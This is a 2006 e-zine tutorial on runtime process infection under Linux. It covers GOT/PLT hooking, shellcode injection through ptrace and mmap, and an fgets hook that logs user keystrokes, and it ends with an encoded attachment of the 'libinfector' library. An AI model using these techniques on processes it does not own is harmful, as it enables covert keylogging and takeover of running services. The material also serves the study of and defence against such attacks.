[ --- The Bug! Magazine _____ _ ___ _ /__ \ |__ ___ / __\_ _ __ _ / \ / /\/ '_ \ / _ \ /__\// | | |/ _` |/ / / / | | | | __/ / \/ \ |_| | (_| /\_/ \/ |_| |_|\___| \_____/\__,_|\__, \/ |___/ [ M . A . G . A . Z . I . N . E ] [ Numero 0x01 <---> Edicao 0x01 <---> Artigo 0x06 ] .> 23 de Marco de 2006, .> The Bug! Magazine < staff [at] thebugmagazine [dot] org > +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Complete guide to process infection +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ .> 24 de Fevereiro de 2006, .> Carlos Barros a.k.a barros < barros [at] barrossecurity [dot] com > [ --- Table of Contents + 1. <-> Introduction + 2. <-> Symbol resolution + 2.1. <-> The PLT and GOT section + 3. <-> Injection steps + 3.1. <-> Determine what functions to hook + 3.2. <-> Write a shellcode for each function + 3.2.1. <-> Calling the original function + 3.2.1.1. <-> If you hooked the PLT entry + 3.2.1.2. <-> If you hooked the GOT entry + 3.2.2. <-> Storing temporary data + 3.2.3. <-> Using shared library instead of assembly code + 3.3. <-> Locating functions' GOT and/or PLT entry + 3.3.1. <-> Using the program executable to locate the address + 3.3.1.1. <-> Locating a section within an ELF file + 3.3.1.2. <-> Locating the GOT address + 3.3.1.3. <-> Locating the PLT entry + 3.3.2. <-> Using the process memory to locate the address + 3.3.2.1. <-> Locating necessary sections + 3.3.2.2. <-> Locating the GOT entry + 3.3.2.3. <-> Locating the PLT entry + 3.4. <-> Inject your shellcode somewhere in the process memory + 3.5. <-> Patch functions' GOT and/or PLT entry + 3.5.1. <-> Patching the GOT entry + 3.5.2. <-> Patching the PLT entry + 4. <-> Executing code with ptrace + 5. <-> Putting all together + 5.1. <-> ptrace module + 5.2. <-> elf_file module + 5.3. <-> elf_ptrace module + 6. <-> References [ --- 1. Introduction In the past few weeks I've decided to code something about process infection and started googling on this topic. I've found some good papers and started my work. During my coding sessions I found out that there isn't any paper that suffices to code some real stuffs. Each paper lacks some informations and some times this informations is not covered anywhere. I got jammed in this situations many times and had to figure out somethings by myself. This is way I've decided to write this article, to try to put together everything that is need to write some real stuffs in process infection, including all stuffs I developed by myself. In this paper I'll try to explain in details all the steps need to infect a process, and at the end you will find a library and a test case to illustrate all the theory of this paper. [ --- 2. Symbol resolution The better way of injecting code into a process in order to make something useful is hooking external functions. To do this you will need to known how the binary locates and calls these functions. Here I'll give just a little introduction about this process, if you want more information on this, take a look at [1]. We will use this code as our example for the rest of this section: --- snip --- int main() { printf("Hello world\n"); } --- snip --- Simple huh? Well, at first look yes, but, what happens from behind the scene? The printf function is located in the libc, so, when you compile this simple code, with gcc code.c -o code, this function is not located within the executable itself. You may be wondering, how can the compiler know the exactly address to direct the call to printf if it is not within the executable? The answer is simple: it doesn't know. The "magic" that makes this code to work is handled by two structures: Procedure Linkage Table (PLT) and Global Offset Table (GOT). [ --- 2.1. The PLT and GOT section Remember that I said that the compiler does not know the address of printf function? So, gcc needs to direct that call to some place, and this place is the PLT section. Each function located outside the binary (in a .so for example) have an entry in this section. Lets take a look at the disassemble of this call: 0x0804839c : call 0x80482b0 <_init+56> This is our call to printf. As you can see, it doesn't call printf directly, instead, it call some address in the _init section (actually, it is the PLT section). Here is the disassemble of this address: 0x80482b0 <_init+56>: jmp *0x80495c8 0x80482b6 <_init+62>: push $0x8 0x80482bb <_init+67>: jmp 0x8048290 <_init+24> This is our good friend PLT Entry. That call to printf actually calls the first jmp instruction. As you can see, it gets the address to jump from the address 0x80495c8. This address is actually an entry in our other friend: the GOT section. The GOT section is a table of absolute addresses that maps external symbols into the process memory in order to keep the position-independence of the code. Each external symbol has you own GOT entry that is filled by the symbol resolution routine. On Linux systems (and others systems) the symbol resolution is called as "Lazy Resolution". It means that the symbol is resolved only when it is called for the very first time. So, in the first call to our printf function, its GOT entry will be pointing to the next instruction following the first jmp (see above disassemble). Here, the program pushes the offset that identifies the symbol it is trying to access and jumps to the PLT0 entry, that is showed bellow. 0x8048290 <_init+24>: pushl 0x80495bc 0x8048296 <_init+30>: jmp *0x80495c0 The PLT0 entry is a special entry that is responsible for calling the symbol resolution routine. This routines gets the symbol offset from the stack, determines what symbol to look for, locates it, store its real address in the respective GOT entry (retrieved from the offset too) and finally calls the original function. After that, the GOT entry will point to the real printf address, this way, on subsequents call, it is called directly, with no need of the PLT0 or the symbol resolution routine. Lets make a generic diagram of the entire process of calling an external function, to illustrate all this steps for a generic case; Calling a function for the first time: ... +-------------- call function | ... <-------------------------------------------+ | | | +--> PLT0: push &(GOT+4) +-------------------+ +----------+ | | call *(GOT+8) -> | Symbol resolution | -> | function | | | +-------------------+ +----------+ | | +-----------+ +--+--> PLT1: jmp *(GOT+12) ------------> | GOT Entry | | push offset_1 <------+ +-----------+ +----------- jmp PLT0 | | ... +-----------+ Calling a function for the second time: ... +-------------- call function | ... <--------------------------------------+ | | | PLT0: push &(GOT+4) | | call *(GOT+8) | | | | +-----------+ +----------+ +-----> PLT1: jmp *(GOT+12) --> | GOT Entry | -> | function | push offset_1 +-----------+ +----------+ jmp PLT0 ... The PLT section described in this section is called Absolute Procedure Linkage Table, but there's another type: Position-Independent Procedure Linkage Table, that I'll not enter in details cause it does not change the way we use it to hook functions, as the only change is in the PLT0 entry. [ --- 3. Injection steps Now that you know how an external function is called, lets examine the basic steps to infect a process: 1 - Determine what functions to hook; 2 - Write a shellcode for each function; 3 - Locate functions' GOT and/or PLT entry; 4 - Inject your shellcode somewhere in the process memory; 5 - Patch functions' GOT and/or PLT entry to point to your shellcode; 6 - Have fun! I'll use the code bellow for the rest of this article to use as example. The testcase attached to this paper infect this code to log everything that is typed by the user. --- snip --- #include int main() { char buf[256]; while(fgets(buf,sizeof(buf),stdin)) printf("%s",buf); } --- snip --- [ --- 3.1. Determine what functions to hook This is the first step in the entire process of infection and as you can think, it is very simple. Wrong!!! The simplicity of this step is highly dependent of what program you are trying to infect. In our example it is very easy to determine the symbols, but imagine if you ar trying to infect a SSHd or something like this. At first you need to determine what you wanna do, then understand the source code, the flow of execution of the program and finally identify the functions. In our example we want to log everything the user typed, so, the best place to do this is in the fgets function. We will try to redirect it to our own code that will log to a file the text typed by the user. [ --- 3.2. Write a shellcode for each function Ok, you have the list of function you will hook, now you need to write a shellcode for these functions. In general you'll need one shellcode for each function cause they are different in some aspects such as parameters and values returned. In our case we need just one cause we are hooking just one function, but it is not always like this, keep it in mind. Before starting to write assembly code, read the "Function calling sequence" section in [4]. It describes some rules you have to follow when writing assembly functions such as registers you have to preserve. The most important thing you have to know is: never changes %ebx value inside a function (trust me, I had a bad experience with it). In our target code, our shellcode will do the following: 1 - Call the original fgets function; 2 - Create some file in the system; 3 - Write in this file the value stored in buf; 4 - Return to the caller; This is not a shellcode paper and I'll not give details in how to write a shellcode, you can find good papers on this on the Internet, but there are some points that you must be aware of when writing hooks: * Call the original hooke'd function; * Find some place to store temporary data (if you need); [ --- 3.2.1. Calling the original function When you write a hook to some function, generally you need to call the original function to get returned values or just to not disturb the normal behavior of a program. As you will see later in this paper, you can hook functions using two techniques and each way of hooking has you own way of calling the original function that will be described in the section. [ --- 3.2.1.1. If you hooked the PLT entry When you hook the PLT entry of a function, the best way of calling the original function is backing up the original jmp instruction of the PLT before patching it and then inserting it in the appropriated place within your shellcode. One thing must be considered when doing this: do you need to get the control after you called the original function? If you don't need, you can just put the backup'd jmp instruction where you should place a ret instruction, this way you jmp the to original function and it do the work of returning to the caller. But what if you need to get the control again, after the original function gets called? It is not a problem, you can write a wrapper around the jmp instruction to force it returning to you control again. Take a look at the following example: call jmp_to_function our_control_again: ... jmp_to_function: jmp *GOT_ENTRY The call jmp_to_function will push into the stack the address of the next instruction and then our backup'd jmp will take place. The the original function executes the ret instruction, the flow will be transferred to out_control_again and you can do all you need before retuning to the caller. If you use the second technique you must re-push all the parameters into the stack before jumping to the original function. It is necessary because you have another return address in the stack and it will shift the parameters. [ --- 3.2.1.2. If you hooked the GOT entry When you hook the GOT entry, the best way of calling the original function is backing up the original address stored in the GOT entry before patching it and then inserting it in the appropriated place within your shellcode. Again you have to decide if you need to get the control of the execution after the original function returns. If you don't need, you just need to make a jmp to the original address: mov $ORIGINAL_ADDR,%eax jmp *%eax If you need to get the control after the original function returns, you just need to change the jmp *%eax to a call *%eax and again, re-push all the parameter into the stack: mov $ORIGINAL_ADDR,%eax call *%eax It seems simple but there's one more thing you must be aware of. Remember when I talked about the "Lazy Resolution"? So, if you hook one function before it was called for the first time, the original function address you will have will be the address of the second instruction of the function's PLT entry. The problem with this is that when you call the original function, you will be actually calling the symbol resolution routine, that will locate the symbol for you, call it and the, store the right address in the GOT entry, and here you will lose the game. As you can see, the address of your hook will be replaced and it will not be called anymore. Here you have two options. The first one is, before returning the control to the caller (after calling the original function) you re-patch the GOT entry with the hook again. It is very simple, you just need to: mov $YOUR_HOOK_ADDRESS,%ecx mov %ecx,GOT_ENTRY ret Do not use the %eax or %ebx register here if you need to return a value, you will just get extra work. Another option is to force the symbol to be resolved before you patch the GOT entry. This can be done by force the program to make a dummy call to the function you want to hook. In our example we need to make a dummy call to fgets function (we actually don't need cause fgets will be for sure resolved when we hook it, but just to illustrate the process). A dummy call to fgets can be something like this: fgets(NULL,0,NULL); or in assembly: xor %eax,%eax push %eax push %eax push %eax mov FGETS_GOT_ENTRY,%ebx call *%ebx When you force the program to execute this instruction, you guarantee that fgets symbols is resolved before you hook it, thus, you don't need to care about it anymore. [ --- 3.2.2. Storing temporary data Depending on what you are doing in your hooking routine, you will need to store temporary that you will use some time later in the shellcode. A good example of this is when you hook a function that returns a function pointer and you need to hook that pointer too. You will need to store this pointer somewhere in the memory and return a fake one to the caller. When this new hook is called, you need to call the original function, so you need to get it from the memory (a bit confusing huh?). One way of doing this is forcing the process to allocate some memory for you and then hardcode this address in you shellcode (patching the shellcode). This is a good way but there's another method that I find out. As you will see when I talk about injecting the shellcode, you code will be stored in a writable section of the process memory. Taking advantage of this, you can leave some extra space anywhere in you shellcode to store temporary data. This way you don't need to care about what address your data will be placed, you can determine it at run-time. Following is a example of this technique: shellcode: ... call temp_data pop %ecx ; %ecx contains the base ... ; address of the storage ... ; space ret temp_data: pop %edx call *%edx .dword 0x00000000 ; 8 bytes of .dword 0x00000000 ; temporary storage Every time you need to use your temporary storage space, you call temp_data and then pop the address in the stack to some register. This register will contain the base address of you storage space. Simple huh? [ --- 3.2.3. Using shared library instead of assembly code In [2], an Anonymous author demonstrated one way of injecting a shared library in some process. The major advantage of this technique is that you can write you hooks in pure C code. The disadvantage of this is that you load a new library in the process, thus leaving traces in the process memory map. If you want details about this technique you can read [2]. [ --- 3.3. Locating functions' GOT and/or PLT entry Up to here we know what functions we will hook and how to write the shellcode, but we still need one more information: where are the GOT/PLT entry of our functions located? This is the most important step in the infection process and probably the most complex too. Here we have to choose what will be the approach used to hook our functions: GOT entry hook or PLT entry hook. You have two ways of searching for these address, using the executable file itself to navigate through the sections or attaching to the process and navigating through the process memory. [ --- 3.3.1. Using the program executable to locate the address To search for the GOT/PLT entry in a executable file, we will need to locate some sections within it. So, before starting our search, I need to explain how to locate a section in and ELF file. It is not an elf tutorial, so if you want to know more about this, read [5]. [ --- 3.3.1.1. Locating a section within an ELF file Before everything lets take a look in the elf's main header that is located in the offset 0 of the file: typedef struct { unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */ Elf32_Half e_type; /* Object file type */ Elf32_Half e_machine; /* Architecture */ Elf32_Word e_version; /* Object file version */ Elf32_Addr e_entry; /* Entry point virtual address */ Elf32_Off e_phoff; /* Program header table file offset */ Elf32_Off e_shoff; /* Section header table file offset */ Elf32_Word e_flags; /* Processor-specific flags */ Elf32_Half e_ehsize; /* ELF header size in bytes */ Elf32_Half e_phentsize; /* Program header table entry size */ Elf32_Half e_phnum; /* Program header table entry count */ Elf32_Half e_shentsize; /* Section header table entry size */ Elf32_Half e_shnum; /* Section header table entry count */ Elf32_Half e_shstrndx; /* Section header string table index */ } Elf32_Ehdr; There are three fields in this structure that is necessary to us: e_shoff, e_shnum and e_shstrndx. e_shoff give us the offset of the first section header in the sections header table. e_shnum gives the number of entries in the sections header table, and finally, the e_shstrndx gives the index in the sections header table of the section header string table, that contains the names of all sections. Each section has the following structure: typedef struct { Elf32_Word sh_name; /* Section name (string tbl index) */ Elf32_Word sh_type; /* Section type */ Elf32_Word sh_flags; /* Section flags */ Elf32_Addr sh_addr; /* Section virtual addr at execution */ Elf32_Off sh_offset; /* Section file offset */ Elf32_Word sh_size; /* Section size in bytes */ Elf32_Word sh_link; /* Link to another section */ Elf32_Word sh_info; /* Additional section information */ Elf32_Word sh_addralign; /* Section alignment */ Elf32_Word sh_entsize; /* Entry size if section holds table */ } Elf32_Shdr; The important fields for us in this structure is sh_name and sh_offset. sh_name is an index for the name of the section in the Section header string table, and sh_offset is the offset of the section within the executable file. Know that we know the necessary structures, the following pseudo-code illustrate the steps to locate any section in the ELF file: sh_header <- e_shoff; str_table <- sh_header[e_shstrndx].sh_offset for I = 0 to Elf32_Ehdr.e_shnum do begin if str_table[sh_header[I].sh_name] == "desired_section" then found_section <- &sh_header[I]; end; This will return a pointer to the desired_section's header. [ --- 3.3.1.2. Locating the GOT address Using the executable itself to locate the GOT entry of a symbol is the easier and most reliable way of doing that. In the ELF file, there's a special section called .rel.plt section. Following is the struct that represents each entry in this section, from elf.h. typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; The r_offset field points to the GOT entry of the related symbol and r_info contains some informations about the symbol. Among other infos, r_info contains the symbol index in the .dynsym section. This index can be retrieved using the following macro, defined in elf.h: #define ELF32_R_SYM(val) ((val) >> 8) The .dynsym section contains some more informations about each relocatable symbol in the file. Each entry is represented by this struct: typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; The important field for us here is the st_name. This field is the index for the symbol's name within the .dynstr section. The .dynstr section is a string table, just like the section header string table, where all symbols name is stored. .dynstr[st_name] points to the symbol's name string. Ok, now we have all the informations we need to locate the GOT address for any symbol inside the executable, so, the following pseudo-code illustrate how to locate one symbol's GOT entry: rel_plt_header <- locate_section(".rel.plt"); rel_plt <- rel_plt_header.sh_offset; symcount <- rel_plt_header.sh_size / rel_plt_header.sh_entsize; dynstr <- locate_section(".dynstr").sh_offset; dynsym <- locate_section(".dynsym").sh_offset; for I = 0 to symcount do begin if dynstr[sym[ELF32_R_SYM(rel_plt[I].r_info)].st_name] == \ "desired_symbol" then found_got <- rel_plt[I].r_offset; end; [ --- 3.3.1.3. Locating the PLT entry Locating the PLT entry is similar to locating the GOT entry. We travel through the .rel_plt section and locate the entry index related to our symbol. Using this index we can calculate the offset of the PLT entry in the .plt section. Each entry in the .plt section has 16 bytes long and as I showed before, the first entry (PLT0) is not related to any symbol. So, to calculate the the offset in the .plt section we do: address = .plt_address + (symindex + 1) * 16; The following pseudo-code illustrate the entire process: rel_plt_header <- locate_section(".rel.plt"); rel_plt <- rel_plt_header.sh_offset; symcount <- rel_plt_header.sh_size / rel_plt_header.sh_entsize; dynstr <- locate_section(".dynstr").sh_offset; dynsym <- locate_section(".dynsym").sh_offset; for I = 0 to symcount do begin if dynstr[sym[ELF32_R_SYM(rel_plt[I].r_info)].st_name] == \ "desired_symbol" then symindex <- I; end; found_plt <- locate_section(".plt").sh_addr + (symindex + 1) * 16; [ --- 3.3.2. Using the process memory to locate the address Locating the necessary address navigating through the process memory is not that easy as using the executable file, but it is possible. This technique is based on the technique presented in [2], with some major modifications. [ --- 3.3.2.1. Locating necessary sections Again, before we start we will need to locate some sections in the process. Here, we cannot navigate through the sections headers of the process cause it is not mapped in the process memory, but we have another way: we can use the program headers. We can locate the program header table using the the elf's main header (by the e_phoff field) that can be located at address 0x08048000 in the process memory (at least on Linux boxes). Lets take a look on what a program header looks like: typedef struct { Elf32_Word p_type; /* Segment type */ Elf32_Off p_offset; /* Segment file offset */ Elf32_Addr p_vaddr; /* Segment virtual address */ Elf32_Addr p_paddr; /* Segment physical address */ Elf32_Word p_filesz; /* Segment size in file */ Elf32_Word p_memsz; /* Segment size in memory */ Elf32_Word p_flags; /* Segment flags */ Elf32_Word p_align; /* Segment alignment */ } Elf32_Phdr; We have to traverse the program header table until we find a program header with e_type = PT_DYNAMIC. The PT_DYNAMIC gives us the address of the .dynamic sections, that contains the address of all dynamic section in the process memory. Each entry in the .dynamic section has the following structure: typedef struct { Elf32_Sword d_tag; /* Dynamic entry type */ union { Elf32_Word d_val; /* Integer value */ Elf32_Addr d_ptr; /* Address value */ } d_un; } Elf32_Dyn; If we traverse through the .dynamic sections we will found six interesting entries, identified by the d_tag field: * DT_PLTGOT - d_un.d_ptr will point to the .got.plt section; * DT_JMPREL - d_un.d_ptr will point to the .rel.plt section; * DT_PLTRELSZ - d_un.d_val will give the size in bytes of .rel.plt section; * DT_INIT - d_un.d_ptr will point to the .init section; * DT_SYMTAB - d_un.d_ptr will point to the .dynsym section; * DT_STRTAB - d_un.d_ptr will point to the .dynstr section; At this point we have all section address we need to start scanning for the GOT/PLT entries. [ --- 3.3.2.2. Locating the GOT entry Locating the GOT entry in the process memory is the same as locating in the elf file itself. You traverse the .got.plt section, get the .dynsym symbols' index, compare the name in the .dynstr and if it matches, you get the GOT entry in the r_offset field of the .got.plt entry. The only difference here is that you are not reading an file, but a process memory via ptrace. [ --- 3.3.2.3. Locating the PLT entry Well, here things is a bit different, but don't be afraid, it won't hurt. As you could notice, we don't know here the address of the .plt section as we know when playing with the binary, so we have to find another way to locate the PLT entry. If you look in the beginning of this article, you can see that for each PLT entry (except the PLT0) you have a jmp *GOT_ENTRY, and this is our chance. Lets disassemble the PLT entry of our target program's printf: 80482b0: ff 25 c0 95 04 08 jmp *0x80495c0 Hmm, looks interesting... We have the address of the GOT entry in the opcodes. As shown in the above section, it is easy to determine the GOT entry of a symbol, so what we have to do is locate the GOT entry of our symbol, then, starting from the .init section, search for this GOT entry pattern. When we found it, this_addr - 2 will point exactly in the PLT entry of the symbol. The following pseudo-code illustrates this process: got_entry <- locate_got("our_symbol"); search_addr <- init_addr; while true begin pattern <- (int)*search_addr; if pattern == got_entry then break; pattern = pattern + 1; end; found_plt <- search_addr - 2; [ --- 3.4. Inject your shellcode somewhere in the process memory Know that you have all the address you need and the shellcode you should be asking: where in the process memory will I put the shellcode? This question has more than one answer. You can find some safe place in the stack and put the shellcode there, but there's a drawback that if the stack is not executable, you loose the game. In [3], Ares showed that you can overwrite the program headers, located in the process image and put your code there, but the size is limited in a few hundred bytes, and you cannot use the technique I explained to store temporary data. Again in [3], Ares demonstrated that is possible to force the process mmap some anonymous memory space in its address space so we can use it, and this is the technique I'll talk about in this section. At first, lets look how we do mmap an anonymous memory: mmap(NULL,length,PROT_READ|PROT_WRITE|PROT_EXEC, \ MAP_PRIVATE|MAP_ANONYMOUS,-1,0) As you can see we set this new memory region as "executable", this way we skip any stack/heap protection scheme. To force a process to execute this mmap call we need to convert it to a shellcode and then inject the shellcode in the process. To convert it to a shellcode we need to disassemble this function call: 0x08048213 : push $0x0 // offset 0x08048215 : push $0xffffffff // fd 0x08048217 : push $0x22 // flags 0x08048219 : push $0x7 // prot 0x0804821b : push $0x41414141 // length 0x08048220 : push $0x0 // start 0x08048222 : call 0x804ed50 ... ... 0x0804ed50 : mov %ebx,%edx 0x0804ed52 : mov $0x5a,%eax 0x0804ed57 : lea 0x4(%esp),%ebx 0x0804ed5b : int $0x80 0x0804ed5d : mov %edx,%ebx 0x0804ed5f : cmp $0xfffff000,%eax 0x0804ed64 : ja 0x8050a90 <__syscall_error> 0x0804ed6a : ret The mmap system call is identified by the code 0x5a of the int $0x80 and expect a single param, via %ebx register, that is a pointer to all of its parameters. In our shellcode, the parameter, except length, will be fixed, so we can hardcode all the param in the shellcode itself, and pass this address via %ebx to the mmap syscall. About the length, we can hardcode some placeholder value and before injecting the shellcode in the process memory, patch it with the real value. Rewriting the assembly code we get this: mmap: mov %0x5a,%eax jmp mmap_params mmap1: pop %ebx int $0x80 mmap_params: call mmap1 .dword 0x00000000 // start .dword 0x41414141 // length .dword 0x07000000 // prot .dword 0x22000000 // flags .dword 0xffffffff // fd .dword 0x00000000 // offset Quite simple huh? Now you just need to inject this shellcode in the process memory, force it to execute and then get the mmapd address via %eax register and inject you shellcode into this address. Later we will see how to force a process to execute your code. [ --- 3.5. Patch functions' GOT and/or PLT entry Finally the last step to infect a process. Up to here you've gotten all addresses and injected you shellcode into the process memory, now the last step is patch the GOT/PLT entry to redirect the original function call to your shellcode. [ --- 3.5.1. Patching the GOT entry Patching the GOT entry is a very easy task. The GOT entry is just a pointer to the real function, so, what have you to do? Just overwrite this pointer with a pointer to you shellcode. But don't forget to backup the original pointer before you patch it, as I said in the section about writing the shellcode. [ --- 3.5.2. Patching the PLT entry PLT is not that simple, but it is not that hard too. The PLT entry contains a jmp *GOT_ENTRY instruction so we can overwrite this instruction with any other instruction (or instructions) to jump to your shellcode. Again, take a look in this jump disassemble: 80482b0: ff 25 c0 95 04 08 jmp *0x80495c0 You have six bytes to play with. As you should know, the better way to make a jmp code is using the push and ret combination, so you can do a absolute jump anywhere you want. jmpcode: push $SHELLCODE_ADDR ret Lets look the opcodes generated by this instructions: 0: 68 41 41 41 41 push $0x41414141 5: c3 ret Woow. It is exactly six bytes long. So, know you just need to patch this jmpcode to change the 0x41414141 with the shellcode's address and overwrite the original jmp to you jmpcode, in the PLT entry. Again, remember to backup the original jmp, you may need it in you shellcode. [ --- 4. Executing code with ptrace In this entire article, you could notice that I mentioned a few time something about force a process to execute some code for you, but don't explained how we are supposed to do that. Ok, here we go! When you attach to a process, it stops and keep waiting for command that you can send via ptrace system call (read the ptrace man pages for more informations). At this point we have full control over the process. To force the process to execute some code for us, we need to inject the code in the process, set the %eip to that location and then send a command to the process to it continue the execution. Again we need to find a place to put our code, but this time we don't need to care with this. What we have to do here is: 1 - Get the %eip address via the PTRACE_GETREGS; 2 - Calculate the size of our shellcode; 3 - Backup size bytes from the %eip address and on, in the process memory, using the PTRACE_PEEKTEXT; 4 - Write our shellcode in the %eip address, using the PTRACE_POKETEXT; 5 - Send a command the the process to continue execution; 6 - Wait till the process stops; 7 - Restore the memory overwritten; 8 - Restore the registers via PTRACE_SETREGS; In order to utilize this technique, the shellcode must be written in a such way that the process will stop in the end of it. One way of doing it is putting an int3 instruction, that generates one break-point and stop the process again. Sometimes when you issue the continue command, you get jammed. This happens when the target application is in the blocked state waiting for some IO operations such as some keyboard input or data from a socket. In this case, you can simply interact with the target program (hitting ENTER, connecting to the application network port, something like this) and everything will work just fine. In our test case we need to hit enter in the target program to get it working, you will see it by yourself. [ --- 5. Putting all together Ok ok, that's enough of theory. In this paper my focus was not in showing source codes that DO the work, but explaining HOW these codes should work. But of course, I've coded something to demonstrate all the theory of this article. I called it a libinfector and is attached to this article. This library is composed of three main modules: ptrace module, elf_file module and elf_ptrace module. With the library, there's a test case composed of one target application (the same used in the article) and two infectors, one utilizing the elf file and other the process memory to locate symbols. [ --- 5.1. ptrace module The ptrace module contains functions responsible to attaching to a process, reading data, writing data, allocating memory via mmap technique and execute your supplied code. The interface is composed by 8 functions: void ptrace_attach(int pid): this function attach to the process identified by pid; void ptrace_cont(int pid): send the command to the process (pid) to continue the execution; void ptrace_detach(int): detach from the process identified by pid; void ptrace_read_data(int pid, int addr, void *vptr, int len): read len bytes from addr, in the process identified by pid, and store the data in vptr; void ptrace_write_data(int pid,int addr, void *vptr, int len): writes len bytes of vptr in addr of the process identified by pid; char *ptrace_read_str(int pid, int addr, int len): read a string of maximum len bytes from addr in the process identified by pid; int ptrace_mmap(int pid, int len): allocate len bytes in the process identified by pid using the mmap technique; int ptrace_execute_code(int pid, void *code, int len): force the process identified by pid to execute code, using the technique described in this article; [ --- 5.2. elf_file module The elf_file module contains functions that is used to open and elf file and locate PLT and GOT entries of symbols. The API if composed by 5 functions: elf_file_struct *elf_file_new(char *filename): open filename, create and elf_file_struct filled with the necessary values and return it; Elf32_Shdr *elf_file_locate_section(elf_file_struct *elf, \ char *section_name): locates the section_name within the binary described in the elf structure; int elf_file_find_symbol_index(elf_file_struct *elf, \ char *symbol_name): get the index of the symbol_name in the .got.plt section of elf; int elf_file_find_symbol_got(elf_file_struct *elf, char *symbol_name): locate the GOT entry of symbol_name in elf; int elf_file_find_symbol_plt(elf_file_struct *elf, char *symbol_name): locate the PLT entry of symbol_name in elf; The elf_file_struct is composed by the following fields: typedef struct { char *elf_file_start; Elf32_Shdr *rel_plt_section; Elf32_Shdr *plt_section; Elf32_Shdr *dynsym_section; Elf32_Shdr *dynstr_section; }elf_file_struct; elf_file_start : this field points to the beginning of the file mmap into the memory; rel_plt_section : points to the .rel.plt section header in the file; plt_section : points to the .plt section header in the file; dynsym_section : points to the .dynsym section header in the file; dynstr_section : points to the .synsym section header in the file; [ --- 5.3. elf_ptrace module This modules does the same job of the elf_file module, with the difference that it does not utilizes the elf file, but attaches to the process and use its memory. The API is composed by 4 functions: elf_ptrace_struct *elf_ptrace_new(int pid): attaches to the process identified by pid, fill the elf_ptrace_struct and returns it; int elf_ptrace_find_symbol(elf_ptrace_struct *elf, char *sym_name, \ int plt): locate the PLT/GOT entry of sym_name in the process identified by the elf structure. plt indicates if you are searching for the PLT entry (plt = 1) or the GOT entry (plt = 0); int elf_ptrace_find_symbol_got(elf_ptrace_struct *elf, \ char *sym_name): wrapper to elf_ptrace_find_symbol(elf,sym_name,0); int elf_ptrace_find_symbol_plt(elf_ptrace_struct *elf, \ char *sym_name): wrapper to elf_ptrace_find_symbol(elf,sym_name,1); The elf_ptrace_struct is composed by the following fields: typedef struct { int pid; int strtab; int symtab; int init; int got; int rel_plt; int rel_plt_size; }elf_ptrace_struct; pid : process identification; strtab : address of the .dynstr section in the process; symtab : address of the .dynsym section in the process; init : address of the .init section in the process; got : address of the .got.plt section in the process; rel_plt : address of the .rel.plt section in the process; rel_plt_size : number of entries in the .rel.plt section; [ --- 6. References [1] - Shared Library Call Redirection Using ELF PLT Infection Silvio Cesare - http://www.phiral.net/lib-redirection.txt [2] - Runtime Process Infection Anonymous - http://www.phrack.org/phrack/59/p59-0x08.txt [3] - Runtime Process Infection 2 Ares - http://ares.x25zine.org/ES/txt/0x4553-\ Runtime_Process_Infecting.htm [4] - Intel386 Architecture Processor Supplement Fourth Edition http://www.caldera.com/developers/devspecs/abi386-4.pdf [5] - Elf specification http://x86.ddj.com/ftp/manuals/tools/elf.pdf begin 644 libinfector-1.0.tar.gz M'XL(`,(9_D,``^Q;?VP;UWU_E"B11\JV9,EVFCCI6?(/2J8E4J)D1_X1R])9 MT2*)FDA5SF+C_WO7=W*N07\L6"B1N.;]'^Q/./>_?PCO?V)H:(C)L9MIQ+6._^?W?W3T\&(F M$QH]/CDRGCJ\+QF3]\UKA4(HE#SV6ZG#):NL9?1>0]8+.16'!5R>+6LE@=CD M$$@,RZZA%`JY&L/RS@AJZPY).R.CH]WR/L/-VVL:O3#RY'WFDE;6LS:S'`KM MZC6&93AV]69L43B3I:`D(^\\%`I5#1NN&KDD+Q:,!:U@PA4W-V2;.NPB"6PI MQ'EEO>5K+FV9%/Q#O,[G&WB5KN?!K"`[\7P4':P3[0J&N?#%3J&1U^9!I M9?-&[](1-_2H:>?".MQZM*2;Z^&S6M[RHF1+7\74RS7<5A;RKA8KYXN+B%7! M3J<@=;I`VZS.4*BOY_!#\C@QR2M:V91/'0;/NK(PA1=U:6IJ9$9-3?R.HB:/ M'T\I::D_)ME$F8BCR3%%G52F)2D1"V6@_LK+RUI)S1A9_:%3\N&0U'GRW,*! MD^<&M9/G8C'[KU.2I+X^>=E8D:2=,2!&=^G:.6+6%X`A@0S(<7JY)$F'2&5) M*VO+1T*2)$B$QH\,D]3@0J>-EPP0V:4O<'69[,ES!V*VNGS1H@X/Q#@QXT@! M9:!&M^B1=Z"##[G]\)>S_X0/&9BYA(GQ(\1:==/E:@\6"8OHB;C[3]`+>G'1 M6N+R^^O(E\J&)4=F9I-I=589&?LB7FD],/3B7G4ERTZIS+P5Q6CNR+#\M%`RZ[ZWEXD#,:N9RI M6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